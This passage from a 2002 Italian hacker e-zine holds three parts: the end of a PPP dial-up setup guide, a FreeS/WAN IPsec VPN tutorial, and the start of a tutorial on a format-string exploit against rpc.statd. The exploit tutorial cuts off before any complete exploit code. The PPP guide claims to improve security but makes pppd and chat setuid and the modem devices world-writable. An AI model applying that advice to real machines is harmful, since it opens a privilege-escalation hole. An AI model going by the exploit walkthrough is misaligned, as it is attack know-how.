l'argomento sicurezza. | | Cosa intendo per sicurezza? | | La risposta e' riassumibile (?!?!) cosi': | | Io ormai non mi loggo piu' da root, mi loggo da utente (user) e riesco a | | fare tutte le normali operazioni che farei da root (ovviamente dopo aver | | settato i file di configurazione necessari da root) quindi dovete tenere | | presente che e' molto importante pensare alla sicurezza ed essendo root, | | inopportunamente, si possono commettere errori e incasinare la vostra | | Linux box. | | Per ovviare a questo problema, basta semplicemente rendere possibile la | | connessione anche all'user; cio' rendera' il sistema piu' sicuro da noi | | e noi da lui. | | | | La prima cosa da fare e' creare un gruppo di utenti che possano accedere | | al demone ppp senza, necessariamente, esserne owner (l'owner, | | possessore, rimane quindi root). | | Editate il file 'groups' come segue: | | | | bash# pico /etc/groups | | | | Assicuratevi che non ci sia una riga simile alla seguente quindi | | aggiungetela voi alla fine del file: | | | | pppusers:x:230:user_che_potra_effettuare_la_connessione | | | | Logicamente il campo 'user_che_potra_effettuare_la_connessione' e' da | | cambiare con il nome dell'utente che volete sia abilitato a connettersi. | | Nel mio caso, mightyinquisitor. | | Se non avete ancora provveduto a creare un utente fatelo subito (con il | | comando 'adduser' oppure 'useradd'), come dicevo prima, usare la box | | sempre da root puo' essere pericoloso. | | Adesso ci sono ancora alcune cosette da sistemare perche' anche l'utente | | possa connettersi. | | Il comando da dare adesso e' quello che cambia il gruppo di appartenenza | | al device del modem (/dev/ttyS0 se il modem e' sulla porta COM1, come | | spiegato al punto 2.1). | | Fate come segue: | | | | bash# chown root.pppuser /dev/ttyS0 | | | | La stessa operazione va eseguita sui files di configurazione che si | | trovano in '/etc/ppp' cosi': | | | | bash# chown root.pppusers /etc/ppp/ppp-on | | bash# chown root.pppusers /etc/ppp/ppp-off | | | | Ora e' necessario creare due link simboli. Uno al file '/etc/ppp/ppp-on' | | e uno al file '/etc/ppp/ppp-off' come segue: | | | | bash# ln -s /etc/ppp/ppp-on /usr/bin/ppp-on | | bash# ln -s /etc/ppp/ppp-off /usr/bin/ppp-off | | | | E adesso bisogna modificare il gruppo di appartenenza dei links appena | | creati come segue: | | | | bash# chown root.pppusers /usr/bin/ppp-on | | bash# chown root.pppusers /usr/bin/ppp-off | | | | Ora dovete cambiare i permessi al device del modem, fate come segue: | | | | bash# chmod 766 /dev/ttyS0 | | bash# chmod 766 /dev/modem | | | | In modo da renderlo leggibile e scrivibile, oltre che dal root, dagli | | utenti che fanno parte del gruppo pppusers (quelli che avete aggiunto | | prima con la linea | | 'pppusers:x:230:user_che_potra_effettuare_la_connessione'). | | | | Adesso dovete settare i permessi ad altri due file ovvero | | '/usr/sbin/pppd' e '/usr/sbin/chat'. Il primo gestisce il demone ppp, il | | secondo si occupa della gestione degli script per la connessione, ma non | | solo. Eseguiamo quindi i seguenti comandi: | | | | bash# chmod a+s /usr/sbin/pppd | | bash# chmod a+s /usr/sbin/chat | | | | Vi mancano i link di questi due file essenziali. Fateli cosi': | | | | bash# ln -s /usr/sbin/pppd /usr/bin | | bash# ln -s /usr/sbin/chat /usr/bin | | | | Adesso l'ultima cosa da fare per poter connettersi e' fare in modo tale | | che il demone ppp capisca a quali file deve riferirsi per la | | connessione. Cio' lo si fa come segue: | | | | bash# /usr/bin/pppd connect "/usr/bin/chat -v -f /etc/ppp/ppp-on" | | | | Con questo comando il pppd sa gia' di suo che deve prendere in esame il | | file '/etc/ppp/options' e il file '/etc/ppp/pap-secrets' quindi e' | | necessario solamente indicargli lo script di comunicazione | | '/etc/ppp/ppp-on' come e' stato fatto. | | Se avete seguito alla lettera questo tutorial, con questa ultima linea | | di comando digitata, sarete in grado di connettervi. | | | | ----[ 2.5 - Suggerimento | | | | Spostatevi su un'altra shell con la combinazione di tasti 'Alt+Fn' | | (dove 'Fn' sta per F2, F3, F4, F5 o F6) e loggatevi da user. | | | | Per comodita' vi consiglio vivamente di creare nella vostra home | | directory (di norma /home/vostro_user)il file '.bash_profile' e di | | aggiungerci dentro due alias che richiamano in automatico il comando per | | connettersi e quello per disconnettersi, in maniera tale da non dover | | digitare a mano ogni volta la linea sovra citata per connettervi. | | Editatelo quindi come segue: | | | | bash# pico .bash_profile | | | | Inseriteci dentro quanto segue: | | | | alias conn='/usr/bin/pppd connect "/usr/bin/chat -v -f /etc/ppp/ppp-on"' | | alias disc='/etc/ppp/ppp-off' | | | | Ora chiudete l'editor e salvate il file. | | | | Riloggatevi per rendere effettive le modifiche al file .bash_profile, | | con il comando 'exit'. | | | | Da ora in poi ogni volta che vi loggate come user (quello che ha nella | | propria home directory il file .bash_profile editato come detto sopra), | | bastera' che scriviate 'conn' per connettervi e 'disc' per | | disconnettervi. | | | | | | --[ 3 - Allegato | | | | Nel file allegato 'iswt1.tar.gz' trovate i files di configurazione, il | | .bash_profile e il resolv.conf che ho spiegato nell'arco di questo | | tutorial. Per decomprimerlo e' sufficiente fare come segue: | | | | bash# tar xvzf iswt1.tar.gz | | | | Ora date un'occhiata ai files decompressi che si sono creati nella | | directory iswt1/. | | | | | | MightyInquisitor | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 | | VPN - ViRTUAL PRiVATE NETWORK [goony] 0x0D/0x23 | +--------------------------------------------------------------------------+ | | | --------------------------------------------- | | L'autori non e' responsabili dei danni | | futuri causati a cose e/o persone utilizzando | | questo documento... :) | | --------------------------------------------- | | | | Obiettivo: | | ---------- | | Capire cos'e' una vpn e realizzare un collegamento criptato tra 2 reti | | locali. | | | | | | Cassetta degli attrezzi: | | ------------------------ | | Noi abbiamo utilizzato questi elementi per raggiungere l'obiettivo. | | Voi non siete necessariamente legati ad utilizzare questi... | | | | - 2 macchine Linux: RedHat 7.1 (www.redhat.com) | | Trustix Secure Linux 1.5 (www.trustix.net) | | queste avranno la funzione di gateway, firewall... | | - kernel linux 2.4.7 (www.kernel.org) | | quelli di FreeS/WAN consigliano almeno il 2.2.19; | | - FreeS/WAN 1.91 rilasciata il 2001/06/19 (www.freeswan.org) | | implementazione opensource del protocollo IPSEC per realizzare | | vpn con linux. non e' l'unica soluzione (pptp?!) ma a noi | | ci sembra molto valido ed affidabile; | | - tcpdump (www.tcpdump.org) bhe lo conoscete... | | - basi di linux & networking... nel caso leggetevi i riferimenti | | che trovate alla fine del documento... | | - fortuna, pazienza! sempre! :) | | | | Note: connessioni realizzate tramite vpn risultano naturalmente piu' | | lenti causa crittazione/decrittazione dei dati in trasito. Sta a voi | | fornirvi di una buona larghezza di banda.. (adsl?!) | | | | Iniziamo con un po' di teoria: | | ----------------------------- | | Per prima cosa il termine inglese VPN sta per "Virtual Private Network", | | ovvero una rete privata virtuale. | | Una vpn permette di implementare una rete privata utilizzando una rete | | pubblica, tipicamente internet. | | Le connessioni tra le varie macchine sono connessioni inesistenti | | fisicamente, ma sono formate da pacchetti appositamente costruiti che | | viaggiano su internet. Si parla appunto di "VIRTUAL Private Network". | | Queste connessioni sono sicure e possono essere realizzate tra: | | | | - host to host; (computer di casa e computer in ufficio) | | - host to lan; (portatile e rete aziendale) | | - lan to lan; (reti aziendali di due o piu' sedi separate) | | | | Qui sotto un semplice schema per chiarire le idee: (lan to lan) | | | | --------------- --------------- | | | rete A | | rete B | | | | | <---> ( internet ) <---> | | | | | 192.168.1.0 | | 192.168.2.0 | | | --------------- --------------- | | Reggio Emilia Toronto | | | | Una volta che le due reti sono state collegate tra di loro tramite vpn, | | l'utente appartenente alla rete A potra' ad esempio pingare un host della| | rete B, passando da internet! Non solo pingare, ma anche lavorare in | | remoto, condividere files e stampanti (samba) e tutto quello che vi | | passa per la testa, abbiate fantasia. | | Tramite vpn gli utenti avranno l'impressione di lavorare in una sola | | grande rete. | | Possiamo comunque realizzare un collegamento tramite protocollo IPSEC | | (vedi sotto) anche solo tra due singoli hosts, ad esempio per lo scambio | | di dati importanti quali logs ecc. | | Un collegamento in vpn ci permette quindi di ovviare ai problemi di | | sicurezza di protocolli deboli come il TCP, ad esempio per quanto | | riguarda "fenomeni" di sniffing, spoofing e simili. | | | | | | La sicurezza... | | --------------- | | Per realizzare collegamenti sicuri tramite reti insicure (internet), le | | vpn possono essere implementate tramite soluzioni software (FreeS/WAN), | | hardware (CISCO) o entrambe. Si andra' quindi a toccare elementi quali | | firewall, crittografia, autenticazione e packet tunneling. | | | | Note: packet tunneling = permette di incapsulare un pacchetto dentro un | | altro pacchetto per adattare protocolli | | incompatibili. Il pacchetto interno puo' essere | | dello stesso protocollo di quello esterno | | oppure di protocolli diversi. Con il tunneling | | si puo' ad esempio incapsulare un pacchetto ip | | dentro un altro pacchetto ip. I protocolli piu' | | diffusi per realizzare tunneling sono IpSEC | | (vedi sotto), PPTP (implementato da Microsoft), | | Layer 2 FW. | | | | Tutti i dati che viaggiano su internet tra le due (o piu' reti) sono | | quindi criptati con svariati algoritmi per impedirne l'intercettazione e | | verificarne l'autenticita'. | | Parliamo allora delle 3 caratteristiche fondamentali di una vpn: | | privatezza, integrita' e autenticazione. | | | | 1- privatezza: permette che un pacchetto sia ricevuto e leggibile solo | | e soltanto al destinatario di esso, rendendo inefficace l'utilizzo di | | sniffer da parte di utenti smanettoni; | | | | 2- integrita': permette che i dati arrivino a destinazione integri e | | quindi inalterati durante il tragitto; | | | | 3- autenticazione: permette di verificare con efficienza l'identita' | | del mittente, evitando ad esempio fenomeni di spoofing; | | | | Per ottenere questi risultati le vpn utilizzano protocolli di rete | | particolari, tra i quali uno dei piu' rinomati e' sicuramente IPSEC. | | | | - IPSEC: "IP Security". E' un set di estensioni al protocollo IP che | | permettono la criptazione di dati e i particolare i 3 elementi | | sopra descritti. | | IPSEC offre un servizio simili all'SSL ma lavorando al livello | | network, per essere cos'i' totalmente trasparente alle diverse | | applicazioni. | | IPSEC si compone principalmente di tre protocolli principali: | | | | + AH (rfc2402): "Authentication Header". Permette l'autenticazione | | di un pacchetto crittografando con un algoritmo forte l'header IP | | del pacchetto stesso; | | + ESP (rfc2406): "Encapsulating Security Payload". Permette la | | privatezza e l'integrita' di un pacchetto cifrando il contenuto di | | esso (payload = campo dati) con un algoritmo crittografico come | | DES o 3DES, e firmando il risultato ottenuto con un hash come MD5 | | o SHA1; | | + IKE: "Internet Key Exchange". Permette la negoziazione tra i | | parametri di connessione... | | | | | | struttura pacchetto tcp semplificata | | | | ---------------------------------------------------- | | | 20 byte header ip | 20 byte header tcp | payload | | | ---------------------------------------------------- | | | | struttura pacchetto IPSEC semplificata | | | | ---------------------------------------------------- | | | 20 byte header ip | header AH | payload ESP | | | ---------------------------------------------------- | | | | Questa e' solo una piccola introduzione di concetti molto difficili e | | lunghi da trattare. | | Se volete saperne di piu' consiglio vivamente i link che trovate alla | | fine di questo documento. Per la realizzazione dell'esperienza queste | | poche righe sono piu' che sufficienti. | | Piu' avanti comunque sono presenti delle note circa gli algoritmi hash, | | chiavi pubbliche e chiavi private. | | | | | | Installazione: | | -------------- | | Nella nostra esperienza cosa faremo? Partendo dal presupposto che | | abbiamo gia' pronte e configurate due macchine linux collegate ad | | internet (entrambi con collegamento perenne) che fungono da gateway per | | due reti private (esempio la 192.168.1.0 e la 192.168.2.0) andremo a | | collegarle tra di loro, creando un tunnel criptato tra le due macchine e | | quindi un canale di comunicazione sicuro tra le due reti. Notare, | | ovviamente, che le due reti devono avere indirizzi privati diversi. | | | | Iniziamo quindi a configurare il primo gateway, tenendo presente che la | | stessa configurazione, con solo poche modifiche, sara' utilizzata anche | | per la seconda macchina. Entrambe avranno un kernel 2.2.19 o superiore | | con il supporto per il networking. Scarichiamo all'indirizzo | | ftp://ftp.xs4all.nl/pub/crypto/freeswan/ il pacchetto | | freeswan-1.91.tar.gz. Scegliamo una directory e s'inizia: | | | | note: per installare correttamente FreeS/WAN avremo bisogno di... | | - compilatore C (gcc o egcs) | | - make, path e le solite cosette... ;) | | - glibc | | - GMP (GNU Multi-P recision) library | | - librerie ncurses se volete usare il menuconfig (raccomandato) | | - sorgenti ecc... ecc... | | | | # cd /usr/src | | # tar zxvf /usr/local/packages/freeswan-1.9.tar.gz | | # cd /usr/src/freeswan-1.9 | | # make ogo (invoca "config" per configurare il kernel da linea di | | comando) | | oppure | | # make menugo (invoca "menuconfig" per configurare il kernel in | | modalita' text-mode. n.b. installatevi le lib ncurses) | | oppure | | # make xgo (invoca "xconfig" per configurare il kernel con X window) | | # make kinstall (installa il nuovo kernel e i moduli se necessari) | | | | | | L'ultimo comando "kinstall" equivale a fare "make; make install; make | | modules ; make modules_install" con i sorgenti in /usr/src/linux. | | A questo punto SE tutto e' andato bene avremo le librerie necessarie in | | /usr/local, gli script necessari per avviare e disattivare i servizi | | IPsec in /etc/rc.d e i due file di configurazione /etc/ipsec.conf e | | /etc/ipsec.secrets. Facciamo un reboot della macchina, non prima di aver | | sistemato il lilo... | | | | note: alcune distribuzioni linux permettono di installare FreeS/WAN | | durante l'installazione del sistema: | | | | - European versions of SuSE Linux (Germany) www.suse.com | | - Conectiva (Brazil) www.conectiva.com | | - the server edition of Corel Linux (Canada) www.corel.com | | - the Polish(ed) Linux Distribution (Poland) www.pld.org.pl | | - Trustix Secure Linux (Norway) www.trustix.net (veramente carina!) | | | | Verifichiamo ora che l'installazione sia avvenuta con successo. | | Durante il reboot (date un occhio con il dmesg...) controlliamo che: | | | | - la versione del kernel sia quella corretta e funzionante; | | - appaia il messaggio di inizializzazione di KLIPS; | | - Pluto sia stato avviato correttamente; | | | | Oltre a questo usiamo... | | | | # ipsec --version cosi' possiamo vedere che il path e' corretto | | e la versione di IPsec; | | # ipsec whack --status chiede a Pluto informazione sullo stato del | | processo | | | | Naturalmente le informazioni di debug che riceveremo non saranno | | ottimali, dobbiamo ancora configurare il tutto! | | | | | | Configuriamo: | | ------------- | | Sono due i files di configurazione di IPsec: | | | | /etc/ipsec.conf per configurare il tutto con le informazioni relative | | alla connessione... | | /etc/ipsec.secretc contiene la chiave pubblica e privata utilizzate per | | la criptazione dei dati... | | | | note: l'algoritmo di cifratura utilizzato e' l'RSA a 2.048 bit, il | | quale prevede che ogni macchina presente nella vpn possieda una | | chiave pubblica (nota a tutte le macchine della vpn) e una | | chiave privata. | | Queste chiavi sono generate durante l'installazione, ma potete | | crearle voi stessi a mano per mezzo del comando IPSEC_RSASIGKEY | | (http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/ | | manpage.d/ipsec_rsasigkey.8.html), | | ad esempio lanciando: | | | | # ipsec rsasigkey --verbose 2048 >mykey | | | | che generera' le chiavi e le scrivera' nel file "mykey". A quel punto | | andate a recuperarle e mettetele nel vostro ipsec.secrets. (seguite le | | istruzioni sul sito di FreeS/WAN) | | | | | | ipsec.conf: | | ----------- | | # basic configuration | | config setup | | interfaces="ipsec0=eth0" | | klipsdebug=none | | plutodebug=none | | plutoload=%search | | plutostart=%search | | | | conn %default | | keyingtries=0 | | | | conn reggioe-toronto | | left=212.*.15.101 | | leftsubnet=192.168.1.0/24 | | leftnexthop=212.*.15.1 | | right=213.*.20.66 | | rightsubnet=192.168.2.0/24 | | rightnexthop=213.*.20.65 | | auto=start | | authby=rsasig | | leftid=@firewalle.reggio.net | | rightid=@fw.toronto.it | | leftrsasigkey=0x010373f12dd6e1d244895bfc237433bac1c0da... | | rightrsasigkey=0x01037ff85e024bdbee96a64cfdfa3fb3e1f7a... | | | | | | Da come si puo' notare il file e' diviso in tre sezioni: la prima e la | | seconda definiscono i parametri di carattere generale. | | Il piu' importante e' "interface" che definisce tramite quale | | interfaccia di rete la macchina linux si collega al mondo esterno. | | In generale tale parametro e' impostato verso l'interfaccia alla quale | | e' impostato il defaultroute (default gateway) della macchina , "ppp0" | | in caso di connessione con pppd, "ippp0" in caso di connessione con | | isdn4linux ecc. | | La sezione piu' importante e' invece la terza, che definisce le | | caratteristiche delle due macchine. | | La "prima" macchina viene identificata come "left", la seconda come | | "right". | | | | Descriviamo nel dettaglio le singole direttive: | | | | - conn: assegna un nome alla connessione (tunnel) che vogliamo | | realizzare; | | - leftid: nome completo di dominio della prima macchina; | | - leftrsasigkey: chiave pubblica della prima macchina (prelevabile dal | | file /etc/ipsec.secrets nel quale e' caricata la | | variabile pubkey); | | - left: indirizzo Ip pubblico della prima macchina, ovvero quello | | assegnato dal provider al momento della connessione e associato | | all'interfaccia di rete che collega la macchina ad Internet | | (per esempio, "ppp0"); | | - leftnexthop: indirizzo Ip del default gateway assegnato dal provider | | al momento della connessione, ovvero la prima macchina | | visibile facendo un traceroute verso internet; | | - auto: definisce il modo in cui la vpn deve essere attivata. | | Se e' impostato su start l'avvio avviene tramite script | | (/etc/rc.d/init.d ecc.); | | | | Per quanto riguarda la "seconda" macchina (right), le impostazioni sono | | esattamente le stesse. | | Fate direttamente un copia incolla tra le due macchine. | | | | | | Prima di provare... e il firewall dove lo mettiamo?! | | ---------------------------------------------------- | | Se utilizzate dei firewall per proteggere le vostre reti (ovvio, senno' | | implementare una vpn su una macchina non protetta e' inutile...), dovete | | abilitare il passaggio di pacchetti di determinati protocolli (vi | | ricordate di AH ed ESP?!) su una porta particolare. | | Leggete qui sotto: | | | | - IKE uses the UDP protocol and port 500 | | - ESP is protocol number 50 | | - AH is protocol number 51 | | | | Nel nostro caso preoccupiamoci della porta 500 UDP e del protocollo 50. | | A seconda del firewall che utilizzate (ipchains - iptables ecc.), | | scrivete le rules necessarie. | | | | Esempi per chi usa iptables: | | | | # per abilitare il passaggio di pacchetti che utilizzano il protocollo | | # ESP (50) | | /usr/local/sbin/iptables -I INPUT -s ipsorgente -d ipdestinazione -p 50 | | -j ACCEPT | | # per abilitare il passaggio di pacchetti che utilizzano il protocollo | | # UDP e porta 500 | | /usr/local/sbin/iptables -A INPUT --proto udp --src ipsorgente --dport | | 500 -j ACCEPT | | | | Per la sintassi e informazioni circa iptables date un occhio qui: | | http://www.linuxguruz.org/iptables/ | | | | Esempi per chi usa ipchains: | | | | # per abilitare il passaggio di pacchetti che utilizzano il protocollo | | # IKE (500 udp) | | /sbin/ipchains -A input -p udp -s 0.0.0.0/0.0.0.0 -d ipdestinazione 500 | | -j ACCEPT -l | | # per abilitare il passaggio di pacchetti che utilizzano il protocollo | | # IKE (500 udp) sull'interfaccia di rete "ipsec0" | | /sbin/ipchains -A input -p udp -s 0.0.0.0/0.0.0.0 -d ipdestinazione 500 | | -i ipsec0 -j ACCEPT -l | | # per abilitare il passaggio di pacchetti che utilizzano il protocollo | | # ESP (50) "-i" per specificare interfacce di rete (ipsec0...) | | /sbin/ipchains -A input -p 50 -d ipdestinazione -j ACCEPT -l | | | | | | Funzionera'? | | ----------- | | A questo punto vediamo se i nostri sforzi saranno premiati. Per prima | | cosa diamo un occhio ai log. | | Utilizziamo per questo il comando: #tail -f /var/log/messages. (magari | | in fase di testing, associamo alle due variabili "klipsdebug" e | | "plutodebug" in /etc/ipsec.conf il valore "all" cos'i' da poter | | analizzare piu' logs...) Se poi siamo smanettoni diamo un occhio anche | | qui: #cat /proc/net/ipsec_tncfg Ora per avviare il tutto utilizzeremo il | | comando: | | | | # ipsec auto --up name | | | | su entrambi i gateway. Notare che "name" corrisponde al valore della | | variabile "conn" in ipsec.conf. | | Nel nostro caso "linux1-linux2". Per fermare il servizio utilizzeremo | | invece il comando: | | | | # ipsec auto --down name | | | | Note: volendo possiamo anche scrivere/utilizzare script del tipo | | "/etc/rc.d/init.d/ipsec start" ecc. | | per rendere la cosa piu' veloce ed automatica. Possiamo aggiungere anche | | una riga di comando in fondo al file "rc.local" per far si' che il | | servizio IPSEC si attivi in automatico all'avvio del nostro gateway. | | | | Note2: in alcuni casi, avviando ipsec, potrebbero apparire alcuni | | messaggi di errore. | | Il piu' riscontrato interessa "rp_filter"... per ovviare la cosa | | in automatico ad ogni riavvio, editate il vostro rc.local con | | due righe del tipo: | | | | echo 0 > /proc/sys/net/ipv4/conf/ipsec0/rp_filter | | echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter | | | | Infine proviamo a vedere se l'obiettivo e' raggiunto. Ad esempio da una | | macchina della rete 192.168.1.0 proviamo a pingare una macchina della | | rete 192.168.2.0. | | (Note: non provate a pingare un host dell'altra rete privata | | direttamente dal gateway, FreeS/WAN non lo permette, e per spiegazione | | controllate sul sito...) | | Se il ping ha successo provate con ssh ecc, abbiate un po' di | | fantasia... Provate con il "traceroute" da un host all'altro delle due | | reti: se tutto e' corretto dovreste raggiungerlo con un solo solo hop. | | In caso contrario controllate: | | | | - connessione ad internet dei gateway, attenzione al provider che usate. | | Ad esempio se vi permette di usare protocolli ecc.; | | - regole del firewall: | | per chi usa ipchains: "ipchains -L" | | per chi usa iptables: "iptables -L" | | - configurazione dei due ipsec.conf: | | http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/ | | manpage.d/ipsec.conf.5.html; | | - esattezza della chiavi; | | - provate a pingare piu' host dell'altra rete; non direttamente dal | | gateway ne tanto meno verso uno di essi... ma tra due host delle | | sottoreti; | | - le macchine in esame sono accese? collegate? hanno firewall? | | - utilizzate "tcpdump" direttamente sui due gateway per vedere cosa | | arriva...nel caso fate un bel "man tcpdump" o usate qualche prodotto | | come "ethereal http://www.ethereal.com/" | | # tcpdump ( per avviarlo) | | oppure | | # tcpdump -i ipsec0 (per avviarlo e con il "-i" controllare una | | singola interfaccia di rete) | | oppure | | # tcpdump -p esp (per avviarlo e con il "-p" controllare un singolo | | protocollo) | | - controllate i vari logs!!!!! | | i soliti /var/log/messages ecc. e utilizzate come riportato piu' in | | basso il comando "ipsec barf"! | | - spedire i logs alla mailing list di FreeS/WAN: | | http://www.freeswan.org/mail.html | | | | ATTENZIONE: | | ----------- | | Se volete scrivere alla mailing list di FreeS/WAN per ottenere qualche | | risposta costruttiva, vi consiglio di seguire i consigli riportati qui: | | http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/prob.report In | | particolare, dare un occhio al comando "ipsec barf" che generera' un | | file con una valanga di informazioni di debug, utilissime per capire | | cosa non sta funzionando a dovere. | | Nel caso invece di veri e propri bug: | | http://www.freeswan.org/freeswan_trees/freeswan-1.91/BUGS e scrivete a | | bugs@lists.freeswan.org | | | | | | 2 LAN: | | ------ | | Ci si puo' trovare anche nella situazione di dover connettere tramite | | vpn piu' reti sullo stesso gateway. Ad esempio nel caso rappresentato | | qui sotto, vogliamo collegare alla rete A sia la rete B sia la rete C. | | Dovremo quindi agire sul gateway (firewall compreso naturalmente!) di A | | e di C. | | | | --------------- --------------- | | | rete A | <---> | rete B | | | | | ( internet ) <---> | | | | | 192.168.1.0 | <---> ^ | 192.168.2.0 | | | --------------- | --------------- | | Reggio Emilia | Toronto | | | | | | | | | | | --------------- | | | rete C | | | | | | | | 192.168.3.0 | | | --------------- | | Birrificio | | | | | | Le operazioni da compiere sono poche e semplici. Per prima cosa | | prepariamo il gateway C, installando FreeS/WAN, editando l'ipsec.conf | | come spiegato in precedenza ecc. ecc. | | Una volta fatto questo (mi raccomando controllate le chiavi pubbliche | | tra il gw C e il gw A) modifichiamo l'ipsec.conf di A in aggiungendo in | | fondo una decina di righe come queste: | | | | conn birrificio-reggioe | | left=213.82.63.66 | | leftsubnet=192.168.1.0/24 | | leftnexthop=213.82.63.65 | | right=212.*.15.101 | | rightsubnet=192.168.1.0/24 | | rightnexthop=212.*.15.1 | | auto=start | | authby=rsasig | | leftid=@fire.toronto.it | | rightid=firewalle.reggio.net | | leftrsasigkey=0x010367453ccd22484a3f291a30bf3d11b5... | | rightrsasigkey=0x010373f12dd6e1d244895bfc237433bac... | | | | Niente di difficile. Stiamo solo attenti ad inserire i parametri | | corretti. | | Rifacciamo partire i servizi IPSEC e testiamo se tutto funziona con le | | procedure sopra descritte: logs ecc. ecc. ecc. | | | | Note: | | - algoritmi hash = prendono in input una stringa arbitrariamente lunga | | e la convertono in un numero di lunghezza fissata (digest). Sono | | tipicamente usati per testare la validita' di un particolare messaggio | | o password. | | Una funzione di hash deve essere veloce e affidabile, deve produrre un | | risultato difficile da invertire e deve avere una bassa probabilita' | | di collisione: deve cioe' risultare altamente improbabile che due | | messaggi diversi generino lo stesso digest. L'algoritmo piu' sicuro in | | assoluto e' l'SHA (Secure Hash Algorithm) proposto dal NIST (National | | Institute of Standards and Tecnology). | | | | - sistemi a chiave pubblica = gli algoritmi a chiave pubblica godono di | | una importante proprieta' di reciprocita' tra le due chiavi k1 e k2: | | se un messaggio e' stato crittografato con una delle due chiavi, | | allora puo' essere decrittografato solo usando l'altra chiave. | | Ovviamente, perche' cio' sia possibile le due chiavi devono possedere | | delle proprieta' matematiche particolari. In genere una delle due | | chiavi e' mantenuta segreta, mentre l'altra viene resa pubblica. | | In questo modo e' possibile: | | | | + invio di un messaggio segreto ad un destinatario sconosciuto di cui | | sia nota la chiave pubblica: | | si e' certi che solo il possessore della chiave segreta sara' in | | grado di decodificare il messaggio; | | + autenticazione di un messaggio pubblico da parte di una persona di | | cui sia nota la chiave privata: | | tutte le persone saranno in grado di decodificare il messaggio | | tramite la corrispondente chiave pubblica e quindi di provare che | | il messaggio e' stato certamente generato dal possessore della | | chiave segreta; | | | | Il principale algoritmo a chiave pubblica oggi utilizzato e' l'RSA. | | Algoritmo a chiave variabile: la lunghezza minima consigliata e' 512 | | bit, ma e' preferibile almeno di 1024 bit. | | | | - sistemi a chiave privata = gli algoritmi a chiave privata prendono in | | ingresso un messaggio di lunghezza variabile e una chiave privata. | | Quest'ultima viene usata per trasformare il messaggio originale in un | | cript text. Mentre gli algoritmi di hashing creano un risultato di | | lunghezza fissata da un ingresso a lunghezza variabile, i sistemi a | | chiave privata operano su successivi blocchi di dimensione fissata in | | ingresso, e utilizzano la chiave di lunghezza fissata per produrre un | | risultato di lunghezza variabile. | | E' chiaro che l'uso di una chiave troppo corta riduce la sicurezza del | | sistema. | | | | + DES: Data Encryption Standard. e' uno standard NIST ed e' | | sicuramente uno degli algoritmi a chiave privata piu' usato. | | Usa pero' chiavi deboli a 56 bit. | | E' stato cosi' inventato il 3DES; | | + IDEA: International Data Encryption Standard. utilizza chiavi a 128 | | bit. | | | | RTFM: | | ----- | | - FreeS/WAN manual pages | | http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/manpages.html | | - /usr/local/man/man3 | | - /usr/local/man/man5 | | - /usr/local/man/man8/ipsec_* | | - FreeS/WAN faq | | http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/faq.html | | | | | | Riferimenti (in ordine semi-sparso!): | | ------------------------------------- | | - http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/index.html | | "FreeS/WAN documentation" | | - http://inews.tecnet.it/articoli/Marzo2001/Linux0103.html | | "Linux + IPsec = Vpn" di Piero Baudino" | | - "Virtual Private Network" di Marco Ivaldi su Linux&C. n. 19 | | - http://www.openbsd.org/faq/faq13.html "Using IPSec - OpenBSD faq" | | | | | | Note finali: | | ------------ | | Fate di questo documento quello che piu' vi aggrada... cancellatelo, | | modificatelo, CORREGGETELO, bruciatelo, vendetelo, TRADUCETELO, | | scopiazzatevelo, coloratelo, cantatelo LIBERAMENTE! | | | | | | ---------------------------------------------------- | | Autore: goony | | Data Pubblicazione: Novembre 01 | | Versione Documento: 0.1 | | Editor Usato: vi su una macchina OpenBSD 2.8 | | Riferimento: goony@inwind.it http://OpenBSD.tzone.it | | Saluti: haikia... gia' detto tutto! ;) | | ---------------------------------------------------- | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 | | LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0E/0x23 | +--------------------------------------------------------------------------+ | | | ovvero | | | | come scriversi il proprio exploit personale in tre puntate (...o forse | | piu' :) | | **************************** Terza puntata ***************************** | | | | 4. "Smashing the stack for fun and profit" | | | | | | Chiedo scusa ad aleph1 (che ci crediate o no, mi sono messo sull'attenti | | per pronunciare questo nome) per avere impunemente "rubato" il titolo al | | suo molto piu' degno articolo, apparso sul numero 49 di Phrack Magazine | | (a proposito, BENTORNATO! www.prack.org :), ma mai come in questo caso | | un simile titolo si rivela azzeccato. | | | | | | 4.1. Sovrascrittura dell'indirizzo di ritorno | | | | | | Bene, vediamo adesso come, in pratica, possiamo utilizzare i concetti | | appena descritti per sovrascrivere l'indirizzo di ritorno della nostra | | funzione, primo passo verso una completa "effrazione" del sistema... ;) | | | | Come visto, il contenuto dello stack risulta essere particolarmente | | interessante, poiche' restano FISSE E CONOSCIUTE certe grandezze. In | | particolare resta invariata la distanza che c'e' tra l'indirizzo del | | buffer (argomento della printf) ed il buffer stesso. In alcuni casi e' | | conosciuto anche l'indirizzo del buffer, il che equivale a conoscere | | dove, nello stack, e' contenuto l'indirizzo di ritorno della funzione | | printf, ossia dove si riprendera' l'esecuzione del codice una volta che | | la printf termina il suo compito. Questo parametro e' di fondamentale | | importanza ai fini di riuscire a riscrivere correttamente l'indirizzo di | | ritorno, poiche' e' proprio li' che dovremo mettere i valori che ci | | interessano. | | | | | | Mi spiego con l'esempio precedente. Conoscendo il valore 0xbfffea60 | | (indirizzo del buffer) e sapendo che l'argomento della printf e' ad una | | distanza FISSA da detto indirizzo (si tratta di sottrarre SEMPRE | | esattamente 36 byte), automaticamente si conosce dove e' memorizzato | | l'indirizzo di ritorno della printf; esso infatti si trova ESATTAMENTE | | PRIMA dell'argomento della printf stessa, quindi ad una distanza di 0x24 | | byte prima del buffer. | | | | Pertanto, se nel buffer inserisco un certo numero di formattatori di | | output (generalmente si usa il formattatore %x, ma qualsiasi altro | | formattatore opportuno puo' andare bene) riusciro' a "navigare" sullo | | stack fino all'indirizzo che mi interessa. | | | | | | Vediamo nella pratica questi concetti, con la solita sessione pratica | | opportunamente commentata | | | | # cat prova4.c | | | | main () | | { | | char buffer [4096]; | | int i; | | | | bzero 